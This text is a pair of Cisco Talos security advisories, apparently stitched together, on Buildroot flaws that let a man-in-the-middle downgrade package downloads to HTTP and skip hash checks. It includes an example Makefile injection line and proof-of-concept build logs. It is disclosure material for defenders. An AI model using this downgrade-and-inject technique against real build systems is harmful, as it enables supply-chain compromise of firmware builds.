        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match, check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 3. This seems to be commonly used to skip integrity checks for resources that can’t be easily hashed (for example, developement resources that change often). It is also used when building specific versions of a package, for which hashes may not be available in Buildroot’s sources.

For example, the Linux Kernel Buildroot Makefile (linux/linux.mk):

    ...
    ifeq ($(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION),y)
        BR_NO_CHECK_HASH_FOR += $(LINUX_SOURCE)
    endif
    ...
    

If both BR2_LINUX_KERNEL and BR2_LINUX_KERNEL_LATEST_VERSION where enabled, the result of $(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION) would be yy.  
So, the ifeq checks if BR2_LINUX_KERNEL_LATEST_VERSION is NOT selected, in which case it adds linux-<version>-br1.tar.gz to the BR_NO_CHECK_HASH_FOR variable.

This is, however, problematic in some setups. For example, consider this Buildroot minimal configuration:

    BR2_LINUX_KERNEL=y
    BR2_LINUX_KERNEL_CUSTOM_GIT=y
    BR2_LINUX_KERNEL_CUSTOM_REPO_URL="https://192.168.50.50"
    BR2_LINUX_KERNEL_CUSTOM_REPO_VERSION="123"
    

This defines a custom repository for fetching the Linux Kernel, so it may be important to only fetch the sources from that repository, for Linux specifically. This will work fine the majority of the time. However, if an attacker is able to drop connections towards 192.168.50.50, this will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri. The next $uri is going to be http://sources.buildroot.net/linux/linux-123-br1.tar.gz, because of the default BR2_BACKUP_SITE variable. This will lead to downloading Linux Kernel sources via plain HTTP without performing any hash checks.

Since the Linux Kernel can ship patch files or Makefiles, by supplying a compromised source package, an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.  
For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to 192.168.50.50, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    >>> linux-headers 123 Downloading
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' 'http://sources.buildroot.net/linux/linux-123-br1.tar.gz'
    --2023-10-11 16:16:26--  http://sources.buildroot.net/linux/linux-123-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 172.67.72.56, 104.26.1.37
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output'
    
    /tmp/builddir/build/.linux-123-br1.tar.gz.OB     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 16:16:26 (24.1 MB/s) - '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' saved [160]
    
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    kmod-31.tar.xz: OK (sha256: f5a6949043cc72c001b728d8c218609c5a15f3c33d75614b78c79418fcf00d80)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    flex-2.6.4.tar.gz: OK (sha256: e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995)
    autoconf-2.71.tar.xz: OK (sha256: f14c83cfebcc9427f2c3cea7258bd90df972d92eb26752da4ddad81c87a0faa4)
    libtool-2.4.6.tar.xz: OK (sha256: 7c87a8c2c8c0fc9cd5019e402bed4292462d00a718a7cd5f11218153bf28b26f)
    automake-1.16.5.tar.xz: OK (sha256: f01d58cd6d9d77fbdca9eb4bbd5ead1988228fdb73d6f7a201f5f8d6b118b469)
    gettext-tiny-0.3.2.tar.gz: OK (sha256: 29cc165e27e83d2bb3760118c2368eadab550830d962d758e51bd36eb860f383)
    gettext-0.22.2.tar.xz: OK (sha256: 4c82fbfe5e53d71a97c634aa98a898b9da807b08b27410f6a4641e8bb44dc4b2)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-43608: TALOS-2023-1845 || Cisco Talos Intelligence Group

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.This vulnerability is related to the `mxsldr` package.

**SUMMARY**

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from, and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.

In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error, unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file, and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 1. Indeed, we identified 5 packages that miss a .hash file:

*   two of them (aufs and aufs-util) also specify a _SITE with an http:// schema, meaning that a man-in-the-middle attacker could supply any source package to Buildroot.
*   the remaining three packages (riscv64-elf-toolchain, versal-firmware and mxsldr) specify an https:// schema. However, because the default BR2_BACKUP_SITE is set to http://sources.buildroot.net (note the http:// schema), a man-in-the-middle attacker could supply any source package in this case too. To force Buildroot to use the fallback URL, it’s enough to drop HTTPS requests to the primary site (which is easy to do when we assume a MITM position). This will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri.

Also note, while a warning is printed for the check at \[6\], this can be very easily overlooked given the verbosity of the output, especially if we consider it may run in a CI (Continuous Integration) pipeline.

Because packages can ship patch files or Makefiles, by supplying a compromised source package an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.

For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

Below all the affected packages are listed separately.

**CVE-2023-45838 - aufs**

aufs fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45839 - aufs-util**

aufs-util fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45840 - riscv64-elf-toolchain**

riscv64-elf-toolchain fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45841 - versal-firmware**

versal-firmware fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45842 - mxsldr**

mxsldr fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to git.denx.de on port 443, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    linux-6.5.6.tar.xz: OK (sha256: 78e36d4214547051c24df2140f4ce09428d6c515ad9a71b38b28e8094a95d2f6)
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    >>> host-mxsldr 2793a657ab7a22487d21c1b020957806f8ae8383 Downloading
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 5 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 2 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' 'http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz'
    --2023-10-11 13:48:21--  http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 104.26.1.37, 172.67.72.56
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output'
    
    /tmp/builddir/build/.mxsldr-2793a657ab7a2248     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 13:48:21 (27.1 MB/s) - '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' saved [160]
    
    WARNING: no hash file for mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    libusb-1.0.26.tar.bz2: OK (sha256: 12ce7a61fc9854d1d2a1ffe095f7b5fac19ddba095c259e6067a46500381b5a5)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-45842: TALOS-2023-1844 || Cisco Talos Intelligence Group

Project PowerUp is the story of how Cisco Talos worked with a multi-national, multi-company coalition of volunteers and experts to help “keep the lights on” in Ukraine, by injecting a measure of stability in Ukraine’s power transmission grid.

Tag

#cisco